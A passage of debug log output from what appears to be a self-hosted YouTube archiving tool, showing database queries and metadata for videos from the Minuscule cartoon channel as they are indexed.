Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 861, "filename" => "/downloads/Miniscule Season 2/2016-11-14 Minuscule - Compilation #2/Minuscule - Compilation #2 [C35BATa1Dp4].mkv", "id" => "C35BATa1Dp4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=C35BATa1Dp4", "playlist_index" => 152, "timestamp" => 1479138612, "title" => "Minuscule - Compilation #2", "upload_date" => "20161114"} 22:14:55.711 [debug] QUERY OK source="sources" db=0.4ms idle=539.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:55.712 [debug] QUERY OK source="sources" db=0.5ms idle=540.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:55.714 [debug] QUERY OK source="media_items" db=1.0ms idle=541.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-11-14 15:50:12Z], 5] 22:14:55.718 [debug] QUERY OK source="media_items" db=2.8ms idle=543.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Compilation #2", "176ed5a1-35f6-4f3c-aa23-e7be21f69c4a", "C35BATa1Dp4", 861, false, 5, "https://www.youtube.com/watch?v=C35BATa1Dp4", 152, "/downloads/Miniscule Season 2/2016-11-14 Minuscule - Compilation #2/Minuscule - Compilation #2 [C35BATa1Dp4].mkv", false, false, false, [], 1, ~U[2016-11-14 15:50:12Z], ~U[2025-12-12 05:14:55Z], ~U[2025-12-12 05:14:55Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Compilation #2", "C35BATa1Dp4", 861, false, 5, "https://www.youtube.com/watch?v=C35BATa1Dp4", "/downloads/Miniscule Season 2/2016-11-14 Minuscule - Compilation #2/Minuscule - Compilation #2 [C35BATa1Dp4].mkv", false, ~U[2016-11-14 15:50:12Z]] 22:14:55.718 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=196.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:55.719 [debug] QUERY OK source="media_profiles" db=0.4ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:14:55.720 [debug] QUERY OK source="media_items" db=0.4ms idle=7.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89136] 22:14:55.720 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #KgnwD2EGbvU/youtube video #KgnwD2EGbvU [KgnwD2EGbvU].NA", "id" => "KgnwD2EGbvU", "original_url" => "https://www.youtube.com/watch?v=KgnwD2EGbvU", "playlist_index" => 153, "title" => "youtube video #KgnwD2EGbvU"} 22:14:55.721 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:55.722 [debug] Current batch of media processed. Will check again in 1000ms 22:14:56.723 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #72a6uPQlT0g/youtube video #72a6uPQlT0g [72a6uPQlT0g].NA", "id" => "72a6uPQlT0g", "original_url" => "https://www.youtube.com/watch?v=72a6uPQlT0g", "playlist_index" => 154, "title" => "youtube video #72a6uPQlT0g"} 22:14:56.724 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1004.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:56.724 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #RFhmAnbVBZU/youtube video #RFhmAnbVBZU [RFhmAnbVBZU].NA", "id" => "RFhmAnbVBZU", "original_url" => "https://www.youtube.com/watch?v=RFhmAnbVBZU", "playlist_index" => 155, "title" => "youtube video #RFhmAnbVBZU"} 22:14:56.725 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:56.725 [debug] Current batch of media processed. Will check again in 1000ms 22:14:57.726 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #DUKw2KZMchY/youtube video #DUKw2KZMchY [DUKw2KZMchY].NA", "id" => "DUKw2KZMchY", "original_url" => "https://www.youtube.com/watch?v=DUKw2KZMchY", "playlist_index" => 156, "title" => "youtube video #DUKw2KZMchY"} 22:14:57.727 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:57.727 [debug] Current batch of media processed. Will check again in 1000ms 22:14:58.729 [debug] Current batch of media processed. Will check again in 1000ms 22:14:59.730 [debug] Current batch of media processed. Will check again in 1000ms 22:15:00.542 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:15:00.731 [debug] Current batch of media processed. Will check again in 1000ms 22:15:01.732 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 306, "filename" => "/downloads/Miniscule Season 2/2014-11-03 Minuscule - Top Tabasco (Season 2)/Minuscule - Top Tabasco (Season 2) [T4qDSRIlR78].mp4", "id" => "T4qDSRIlR78", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=T4qDSRIlR78", "playlist_index" => 157, "timestamp" => 1415022988, "title" => "Minuscule - Top Tabasco (Season 2)", "upload_date" => "20141103"} 22:15:01.733 [debug] QUERY OK source="sources" db=0.3ms idle=1200.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:01.734 [debug] QUERY OK source="sources" db=0.3ms idle=1191.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:01.735 [debug] QUERY OK source="media_items" db=1.0ms idle=563.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2014-11-03 13:56:28Z], 5] 22:15:01.739 [debug] QUERY OK source="media_items" db=3.1ms idle=564.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Top Tabasco (Season 2)", "f36bda04-046f-4494-b650-c747eb1ce928", "T4qDSRIlR78", 306, false, 5, "https://www.youtube.com/watch?v=T4qDSRIlR78", 157, "/downloads/Miniscule Season 2/2014-11-03 Minuscule - Top Tabasco (Season 2)/Minuscule - Top Tabasco (Season 2) [T4qDSRIlR78].mp4", false, false, false, [], 1, ~U[2014-11-03 13:56:28Z], ~U[2025-12-12 05:15:01Z], ~U[2025-12-12 05:15:01Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Top Tabasco (Season 2)", "T4qDSRIlR78", 306, false, 5, "https://www.youtube.com/watch?v=T4qDSRIlR78", "/downloads/Miniscule Season 2/2014-11-03 Minuscule - Top Tabasco (Season 2)/Minuscule - Top Tabasco (Season 2) [T4qDSRIlR78].mp4", false, ~U[2014-11-03 13:56:28Z]] 22:15:01.739 [debug] QUERY OK source="sources" db=0.3ms idle=205.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:01.740 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:15:01.741 [debug] QUERY OK source="media_items" db=0.4ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89155] 22:15:01.741 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #EHh6g45XHRI/youtube video #EHh6g45XHRI [EHh6g45XHRI].NA", "id" => "EHh6g45XHRI", "original_url" => "https://www.youtube.com/watch?v=EHh6g45XHRI", "playlist_index" => 158, "title" => "youtube video #EHh6g45XHRI"} 22:15:01.742 [debug] QUERY OK source="sources" db=0.3ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:01.742 [debug] Current batch of media processed. Will check again in 1000ms 22:15:02.743 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #LGDQ8FrUBvg/youtube video #LGDQ8FrUBvg [LGDQ8FrUBvg].NA", "id" => "LGDQ8FrUBvg", "original_url" => "https://www.youtube.com/watch?v=LGDQ8FrUBvg", "playlist_index" => 